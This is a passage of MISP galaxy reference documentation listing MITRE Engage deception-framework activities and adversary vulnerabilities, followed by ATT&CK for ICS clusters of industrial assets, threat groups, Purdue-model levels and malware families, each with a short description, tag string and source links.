The tag is: *misp-galaxy:engage-framework="EAC0015 - Information Manipulation"*

EAC0016 - Network Manipulation

Make changes to network properties and functions to achieve a desired effect.

The tag is: *misp-galaxy:engage-framework="EAC0016 - Network Manipulation"*

EAC0017 - Hardware Manipulation

Alter the hardware configuration of a system to limit what an adversary can do with the device.

The tag is: *misp-galaxy:engage-framework="EAC0017 - Hardware Manipulation"*

EAC0018 - Security Controls

Alter security controls to make the system more or less vulnerable to attack.

The tag is: *misp-galaxy:engage-framework="EAC0018 - Security Controls"*

EAC0019 - Baseline

Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary.

The tag is: *misp-galaxy:engage-framework="EAC0019 - Baseline"*

EAC0020 - Isolation

Configure devices, systems, networks, etc. to contain activity and data, thus preventing the expansion of an engagement beyond desired limits.

The tag is: *misp-galaxy:engage-framework="EAC0020 - Isolation"*

EAC0021 - Attack Vector Migration

Move a malicious link, file, or device from its intended location to an engagement system or network for execution/use.

The tag is: *misp-galaxy:engage-framework="EAC0021 - Attack Vector Migration"*

EAC0022 - Artifact Diversity

Present the adversary with a variety of network and system artifacts.

The tag is: *misp-galaxy:engage-framework="EAC0022 - Artifact Diversity"*

EAC0023 - Introduced Vulnerabilities

Intentionally introduce vulnerabilities into the environment for the adversary to exploit.

The tag is: *misp-galaxy:engage-framework="EAC0023 - Introduced Vulnerabilities"*

SAC0001 - Operational Objective

Define the objective of the desired end-state of your adversary engagement operations.

The tag is: *misp-galaxy:engage-framework="SAC0001 - Operational Objective"*

SAC0002 - Persona Creation

Plan and create a fictitious human user through a combination of planted data and revealed behavior patterns.

The tag is: *misp-galaxy:engage-framework="SAC0002 - Persona Creation"*

SAC0003 - Storyboarding

Plan and create the deception story.

The tag is: *misp-galaxy:engage-framework="SAC0003 - Storyboarding"*

SAC0004 - Cyber Threat Intelligence

The process of analyzing actionable knowledge about adversaries and their malicious activities, enabling defenders and their organizations to reduce harm through better security decision-making

The tag is: *misp-galaxy:engage-framework="SAC0004 - Cyber Threat Intelligence"*

SAC0005 - Gating Criteria

Define the set of events that would lead to the unnegotiable pause or conclusion to the operation.

The tag is: *misp-galaxy:engage-framework="SAC0005 - Gating Criteria"*

SAC0006 - After-Action Review

Review of operational activities.

The tag is: *misp-galaxy:engage-framework="SAC0006 - After-Action Review"*

SAC0012 - Engagement Environment

Design the systems and network for the operation.

The tag is: *misp-galaxy:engage-framework="SAC0012 - Engagement Environment"*

SAC0009 - Threat Model

A risk assessment that models organizational strengths and weaknesses

The tag is: *misp-galaxy:engage-framework="SAC0009 - Threat Model"*

EAP0001 - Collect

Gather adversary tools, observe tactics, and collect other raw intelligence about the adversary's activity.

The tag is: *misp-galaxy:engage-framework="EAP0001 - Collect"*

EAP0002 - Detect

Establish or maintain awareness regarding adversary activity.

The tag is: *misp-galaxy:engage-framework="EAP0002 - Detect"*

EAP0003 - Prevent

Stop all or part of the adversary's ability to conduct their operation as intended.

The tag is: *misp-galaxy:engage-framework="EAP0003 - Prevent"*

EAP0004 - Direct

Encourage or discourage the adversary from conducting their operation as intended.

The tag is: *misp-galaxy:engage-framework="EAP0004 - Direct"*

EAP0005 - Disrupt

Impair an adversary's ability to conduct their operation as intended.

The tag is: *misp-galaxy:engage-framework="EAP0005 - Disrupt"*

EAP0006 - Reassure

Add authenticity to deceptive components to convince an adversary that an environment is real.

The tag is: *misp-galaxy:engage-framework="EAP0006 - Reassure"*

EAP0007 - Motivate

Encourage an adversary to conduct part or all of their mission.

The tag is: *misp-galaxy:engage-framework="EAP0007 - Motivate"*

SAP0001 - Plan

Identify and align an operation with a desired end-state.

The tag is: *misp-galaxy:engage-framework="SAP0001 - Plan"*

SAP0002 - Analyze

Retrospective review of information gained from an operation .

The tag is: *misp-galaxy:engage-framework="SAP0002 - Analyze"*

EGO0001 - Expose

Reveal the presence of ongoing adversary operations.

The tag is: *misp-galaxy:engage-framework="EGO0001 - Expose"*

EGO0002 - Affect

Negatively impact the adversaries operations.

The tag is: *misp-galaxy:engage-framework="EGO0002 - Affect"*

EGO0003 - Elicit

Learn about adversaries tactics, techniques, and procedures (TTPs).

The tag is: *misp-galaxy:engage-framework="EGO0003 - Elicit"*

SGO0001 - Prepare

Help the defender think about what they want to accomplish with operations.

The tag is: *misp-galaxy:engage-framework="SGO0001 - Prepare"*

SGO0002 - Understand

Make sure that the defender is capturing, utilizing, and refining knowledge learned to improve the defender's posture.

The tag is: *misp-galaxy:engage-framework="SGO0002 - Understand"*

EAV0001 - Vulnerability to Manipulated Artifacts

When adversaries interact with the environment or personas, they are vulnerable when they collect, observe, or manipulate system artifacts or information. Manipulated data may cause them to reveal behaviors, use additional or more advanced capabilities against the target, and/or impact their dwell time.

The tag is: *misp-galaxy:engage-framework="EAV0001 - Vulnerability to Manipulated Artifacts"*

EAV0002 - Vulnerability to Deception by Decoy Data

When adversaries interact with the environment or personas, they are vulnerable to collecting, or in some way interacting with, manipulated or decoy data. In those cases the data may increase their tolerance for imperfections in the environment and improve the overall believability of the ruse.

The tag is: *misp-galaxy:engage-framework="EAV0002 - Vulnerability to Deception by Decoy Data"*

EAV0003 - Exposure to Detection during Trust Exploitation

When adversaries exploit a trusted relationship, such as using an account to access or move in the

environment, they are vulnerable to triggering tripwires or engaging in anomalous behavior.

The tag is: *misp-galaxy:engage-framework="EAV0003 - Exposure to Detection during Trust Exploitation"*

EAV0004 - Vulnerability to Uncontrolled Phishing Detonation

When adversaries use phishing emails to gain access to victim systems, they have no control over where a malicious attachment is detonated from, or where a link is clicked.

The tag is: *misp-galaxy:engage-framework="EAV0004 - Vulnerability to Uncontrolled Phishing Detonation"*

EAV0005 - Vulnerability to Malware Analysis Environment

When adversaries' malware is detonated, they may be encouraged to operate in an unintended environment.

The tag is: *misp-galaxy:engage-framework="EAV0005 - Vulnerability to Malware Analysis Environment"*

EAV0006 - Vulnerability to Manipulated Reconnaissance Data

When adversaries collect targeting information from open or closed data sources, they are vulnerable to being influenced by manipulated or misleading data.

The tag is: *misp-galaxy:engage-framework="EAV0006 - Vulnerability to Manipulated Reconnaissance Data"*

EAV0007 - Vulnerability to Adversary Plan Influence

When adversaries interact with engagement environments and personas, their future capability, targeting, and/or infrastructure requirements are vulnerable to influence.

The tag is: *misp-galaxy:engage-framework="EAV0007 - Vulnerability to Adversary Plan Influence"*

EAV0008 - Vulnerability to Engaging Decoy Victims

When adversaries maintain drive-by sites, they provide a pathway for beginning engagements and may be unable to differentiate real from deceptive victims.

The tag is: *misp-galaxy:engage-framework="EAV0008 - Vulnerability to Engaging Decoy Victims"*

EAV0009 - Exposure of Targeting Preferences

When adversaries maintain drive-by sites and collect information about potential victims, they may reveal information about their targeting preferences by selecting or rejecting an arbitrary victim.

The tag is: *misp-galaxy:engage-framework="EAV0009 - Exposure of Targeting Preferences"*

EAV0010 - Exposure to Anomaly Detection

When adversaries interact with network or system resources, they are vulnerable to triggering tripwires or engaging in easily detectable, anomalous behavior.

The tag is: *misp-galaxy:engage-framework="EAV0010 - Exposure to Anomaly Detection"*

EAV0011 - Exposure of Previous Collection Activities

When adversaries use previously stolen information to access or move laterally within an environment, they may reveal previous collection activities.

The tag is: *misp-galaxy:engage-framework="EAV0011 - Exposure of Previous Collection Activities"*

EAV0012 - Vulnerability to Uncontrolled Physical Media Usage

When adversaries use hardware peripherals, removable media, or connected transient cyber assets, they must rely on physical access or have limited control over when and where hardware additions are connected in the target network.

The tag is: *misp-galaxy:engage-framework="EAV0012 - Vulnerability to Uncontrolled Physical Media Usage"*

EAV0013 - Vulnerability to Resource Dependency

When adversaries rely on specific resources to be enabled, accessible, and/or vulnerable, they are vulnerable to their operations being disrupted if the resources are disabled, removed, or otherwise made invulnerable.

The tag is: *misp-galaxy:engage-framework="EAV0013 - Vulnerability to Resource Dependency"*

EAV0014 - Vulnerability to Uncontrolled Supply Chain Deployment

When adversaries manipulate supply chain mechanisms prior to receipt by a final consumer, they forfeit control over when and where the product is connected in the target network.

The tag is: *misp-galaxy:engage-framework="EAV0014 - Vulnerability to Uncontrolled Supply Chain*

Deployment"

EAV0015 - Vulnerability to Poisoned Trusted Relationship

When adversaries exploit a trusted relationship, they are vulnerable to collecting and acting on manipulated data provided by the trusted party.

The tag is: *misp-galaxy:engage-framework="EAV0015 - Vulnerability to Poisoned Trusted Relationship"*

EAV0016 - Exposure to Monitoring when Abusing Features

When adversaries utilize or abuse system features, software, or other resources, they may be vulnerable to monitoring or Man-in-the-Middle manipulation.

The tag is: *misp-galaxy:engage-framework="EAV0016 - Exposure to Monitoring when Abusing Features"*

EAV0017 - Vulnerability to Capability Revelation on Honeypots

When adversaries discover enabled, accessible, or intentionally weakened/overly permissive resources in the environment (production or isolated), they are vulnerable to revealing additional or more advanced capabilities when exploiting or using said resource.

The tag is: *misp-galaxy:engage-framework="EAV0017 - Vulnerability to Capability Revelation on Honeypots"*

EAV0018 - Vulnerability to Counter-Social Engineering

When adversaries interact directly with victims, they are vulnerable to being socially engineered or otherwise manipulated by an aware user.

The tag is: *misp-galaxy:engage-framework="EAV0018 - Vulnerability to Counter-Social Engineering"*

EAV0019 - Exposure of Intent via Resource Interaction

When adversaries discover a diverse set of accessible resources and decoy artifacts on the target, they are vulnerable to revealing their targeting preferences and capabilities.

The tag is: *misp-galaxy:engage-framework="EAV0019 - Exposure of Intent via Resource Interaction"*

EAV0020 - Vulnerability to Network Traffic Manipulation

When adversaries move data across the network or interact with remote resources, they are vulnerable to network manipulations such as impacts to network availability, traffic filtering, degraded speeds, etc.

The tag is: *misp-galaxy:engage-framework="EAV0020 - Vulnerability to Network Traffic Manipulation"*

EAV0021 - Vulnerability to Exfiltration Interception (MitM)

When adversaries exfiltrate data, their data are vulnerable to observation or manipulation via Man-in-the-Middle activities.

The tag is: *misp-galaxy:engage-framework="EAV0021 - Vulnerability to Exfiltration Interception (MitM)"*

EAV0022 - Vulnerability to Resource Depletion on Honey-Credentials

When adversaries use brute-force techniques to access accounts or encrypted data, they are vulnerable to wasting resources if the artifact has no valid credentials or is locked in some other way.

The tag is: *misp-galaxy:engage-framework="EAV0022 - Vulnerability to Resource Depletion on Honey-Credentials"*

EAV0023 - Vulnerability to Signature-Based Detection

When adversaries use easily identifiable techniques, or generate signaturable patterns in data or traffic, they are vulnerable to detection of their activity.

The tag is: *misp-galaxy:engage-framework="EAV0023 - Vulnerability to Signature-Based Detection"*

EAV0024 - Vulnerability to Wasting Resources on Honey-Data

When adversaries discover inaccessible but perceived as interesting data or data streams, they are vulnerable to wasting resources or revealing additional capabilities in an effort to access the content.

The tag is: *misp-galaxy:engage-framework="EAV0024 - Vulnerability to Wasting Resources on Honey-Data"*

EAV0025 - Exposure of Targeting Preferences during Recon

When adversaries collect targeting information from open or closed data sources, they may reveal their targeting preferences.

The tag is: *misp-galaxy:engage-framework="EAV0025 - Exposure of Targeting Preferences during Recon"*

EAV0026 - Exposure of Capabilities via Drive-by Site

When adversaries maintain drive-by sites, they reveal information about their targeting capabilities.

The tag is: *misp-galaxy:engage-framework="EAV0026 - Exposure of Capabilities via Drive-by Site"*

EAV0027 - Vulnerability to Malware Dynamic Analysis

When adversaries' malware is detonated, they are vulnerable to dynamic analysis, which can reveal how the malware interacts with system resources.

The tag is: *misp-galaxy:engage-framework="EAV0027 - Vulnerability to Malware Dynamic Analysis"*

EAV0028 - Vulnerability to Presence Revelation via Beaconing Artifact

When adversaries collect manipulated artifacts, they are vulnerable to revealing their presence when using or moving the artifacts elsewhere in the engagement environment.

The tag is: *misp-galaxy:engage-framework="EAV0028 - Vulnerability to Presence Revelation via Beaconing Artifact"*

EAV0029 - Vulnerability to Wasting Resources on Large Data Exfil

When adversaries attempt to exfiltrate, manipulate, or move massive data objects, they are vulnerable to wasting resources to accomplish the task.

The tag is: *misp-galaxy:engage-framework="EAV0029 - Vulnerability to Wasting Resources on Large Data Exfil"*

EAV0030 - Vulnerability to Wasting Resources on Honey-Data

When adversaries discover inaccessible (but possibly valuable) data or data streams, they are

vulnerable to wasting resources or revealing additional capabilities in an effort to access the content.

The tag is: *misp-galaxy:engage-framework="EAV0030 - Vulnerability to Wasting Resources on Honey-Data"*

EAV0031 - Vulnerability to Physical Observation

When adversaries gain physical access to a device or environment they are vulnerable to observation or other physical domain consequences.

The tag is: *misp-galaxy:engage-framework="EAV0031 - Vulnerability to Physical Observation"*

EAV0032 - Vulnerability to MitM on Physical Process Control

When adversaries attempt to remotely manipulate, damage or effect some change in the physical environment, they are vulnerable to Man-in-the-Middle manipulations.

The tag is: *misp-galaxy:engage-framework="EAV0032 - Vulnerability to MitM on Physical Process Control"*

Assets

A list of asset categories that are commonly found in industrial control systems..

Assets is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Control Server

A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).

The tag is: *misp-galaxy:mitre-ics-assets="Control Server"*

Table 10586. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Data Historian

A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.

The tag is: *misp-galaxy:mitre-ics-assets="Data Historian"*

Table 10587. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions

Engineering Workstation

The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.

The tag is: *misp-galaxy:mitre-ics-assets="Engineering Workstation"*

Table 10588. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Field Controller/RTU/PLC/IED

Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications

The tag is: *misp-galaxy:mitre-ics-assets="Field Controller/RTU/PLC/IED"*

Table 10589. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions
http://isa99.isa.org/ISA99%20Wiki/WP-2-1.aspx

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Human-Machine Interface

In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator) using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: Graphical user interfaces(GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. Web-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). The system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information and control interface to operations users, engineering users and management users.

The tag is: *misp-galaxy:mitre-ics-assets="Human-Machine Interface"*

Table 10590. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions
http://isa99.isa.org/ISA99%20Wiki/WP-2-1.aspx

Input/Output Server

The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.

The tag is: *misp-galaxy:mitre-ics-assets="Input/Output Server"*

Table 10591. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions

Safety Instrumented System/Protection Relay

A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it

into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.

The tag is: *misp-galaxy:mitre-ics-assets="Safety Instrumented System/Protection Relay"*

Table 10592. Table References

Links
http://sache.org/beacon/files/2009/07/en/read/2009-07-Beacon-s.pdf
http://www.gegridsolutions.com/multilin/notes/artsci/artsci.pdf

Groups

Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions..

Groups is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

ALLANITE

ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE's technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.

The tag is: *misp-galaxy:mitre-ics-groups="ALLANITE"*

View relationships graph

ALLANITE has relationships with:

- similar: misp-galaxy:threat-actor="ALLANITE" with estimative-language:likelihood-probability="almost-certain"

Table 10593. Table References

Links
https://dragos.com/resource/allanite/
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk
https://www.eisac.com/public-news-detail?id=115909

APT33

APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.

The tag is: *misp-galaxy:mitre-ics-groups="APT33"*

View relationships graph

APT33 has relationships with:

- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="almost-certain"

Table 10594. Table References

Links
https://attack.mitre.org/groups/G0064/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://dragos.com/resource/magnallium/
https://www.wired.com/story/iran-hackers-us-phishing-tensions/
https://www.symantec.com/security-center/writeup/2017-030708-4403-99

Dragonfly

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly"*

Table 10595. Table References

Links
https://attack.mitre.org/groups/G0035/
https://dragos.com/resource/dymalloy/
https://www.us-cert.gov/ncas/alerts/TA17-293A
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Dragonfly 2.0

Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly 2.0"*

Table 10596. Table References

Links
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://dragos.com/resource/dymalloy/
https://blog.talosintelligence.com/2017/07/template-injection.html
https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf
https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf

HEXANE

HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.

The tag is: *misp-galaxy:mitre-ics-groups="HEXANE"*

Table 10597. Table References

Links
https://dragos.com/resource/hexane/

https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms
https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003

Lazarus group

Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017.3 While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: *misp-galaxy:mitre-ics-groups="Lazarus group"*

View relationships graph

Lazarus group has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="almost-certain"

Table 10598. Table References

Links
https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
https://dragos.com/resource/covellite/
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/
https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Leafminer

Leafminer is a threat group that has targeted Saudi Arabia, Japan, Europe and the United States.

Within the US, Leafminer has targeted electric utilities and initial access into those organizations. Reporting indicates that Leafminer has not demonstrated ICS specific or destructive capabilities.

The tag is: *misp-galaxy:mitre-ics-groups="Leafminer"*

Table 10599. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://dragos.com/resource/raspite/

OilRig

OilRig is a suspected Iranian threat group that has targeted the financial, government, energy, chemical, and telecommunication sectors as well as petrochemical, oil & gas. OilRig has been observed operating in Iraq, Pakistan, Israel, and the UK, and has been linked to the Shamoon attacks in 2012 on Saudi Aramco.

The tag is: *misp-galaxy:mitre-ics-groups="OilRig"*

View relationships graph

OilRig has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="almost-certain"

Table 10600. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html#apt34
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://dragos.com/resource/chrysene/
https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/

Sandworm

Sandworm is a threat group associated with the Kiev, Ukraine electrical transmission substation attacks which resulted in the impact of electric grid operations on December 17th, 2016. Sandworm has been cited as the authors of the Industroyer malware which was used in the 2016 Ukraine

attacks.

The tag is: *misp-galaxy:mitre-ics-groups="Sandworm"*

View relationships graph

Sandworm has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="almost-certain"

Table 10601. Table References

Links
https://dragos.com/resource/electrum/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/

XENOTIME

XENOTIME is a threat group that has targeted and compromised industrial systems, specifically safety instrumented systems that are designed to provide safety and protective functions. Xenotime has previously targeted oil & gas, as well as electric sectors within the Middle east, Europe, and North America. Xenotime has also been reported to target ICS vendors, manufacturers, and organizations in the middle east. This group is one of the few with reported destructive capabilities.

The tag is: *misp-galaxy:mitre-ics-groups="XENOTIME"*

Table 10602. Table References

Links
https://dragos.com/resource/xenotime/
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html
https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf

Levels

Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment..

Levels is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Level 0

The I/O network level includes the actual physical processes and sensors and actuators that are directly connected to process equipment.

The tag is: *misp-galaxy:mitre-ics-levels="Level 0"*

Level 1

The control network level includes the functions involved in sensing and manipulating physical processes. Typical devices at this level are programmable logic controllers (PLCs), distributed control systems, safety instrumented systems and remote terminal units (RTUs).

The tag is: *misp-galaxy:mitre-ics-levels="Level 1"*

Level 2

The supervisory control LAN level includes the functions involved in monitoring and controlling physical processes and the general deployment of systems such as human-machine interfaces (HMIs), engineering workstations and historians.

The tag is: *misp-galaxy:mitre-ics-levels="Level 2"*

Software

Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS..

Software is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

ACAD/Medre.A

ACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.

The tag is: *misp-galaxy:mitre-ics-software="ACAD/Medre.A"*

Table 10603. Table References

Links

Backdoor.Oldrea, Havex

Backdoor.Oldrea is a Remote Access Trojan (RAT) that communicates with a Command and Control (C2) server. The C2 server can deploy payloads that provide additional functionality. One payload has been identified and analyzed that enumerates all connected network resources, such as computers or shared resources, and uses the classic DCOM-based (Distributed Component Object Model) version of the Open Platform Communications (OPC) standard to gather information about connected control system devices and resources within the network.

The tag is: *misp-galaxy:mitre-ics-software="Backdoor.Oldrea, Havex"*

Table 10604. Table References

Links
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-176-02A
https://www.f-secure.com/weblog/archives/00002718.html
https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf
https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html
https://www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat
https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939
https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672

Bad Rabbit, Diskcoder.D

Bad Rabbit is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine.

The tag is: *misp-galaxy:mitre-ics-software="Bad Rabbit, Diskcoder.D"*

Table 10605. Table References

Links

https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://securelist.com/bad-rabbit-ransomware/82851/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

BlackEnergy 3

BlackEnergy 3 is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid.

The tag is: *misp-galaxy:mitre-ics-software="BlackEnergy 3"*

Table 10606. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

Conficker

Conficker is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant.

The tag is: *misp-galaxy:mitre-ics-software="Conficker"*

Table 10607. Table References

Links
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml

Duqu

Duqu is a collection of computer malware discovered in 2011. It is reportedly related to the Stuxnet worm, although Duqu is not self-replicating.

The tag is: *misp-galaxy:mitre-ics-software="Duqu"*

Table 10608. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Flame

Flame is an attacker-instructed worm which may open a backdoor and steal information from a compromised computer. Flame has the capability to be used for industrial espionage.

The tag is: *misp-galaxy:mitre-ics-software="Flame"*

Table 10609. Table References

Links
https://www.symantec.com/security-center/writeup/2012-052811-0308-99
https://www.welivesecurity.com/2012/07/20/flame-in-depth-code-analysis-of-mssecmgr-ocx/
https://www.fireeye.com/blog/threat-research/2012/05/flamerskywiper-analysis.html

Industroyer

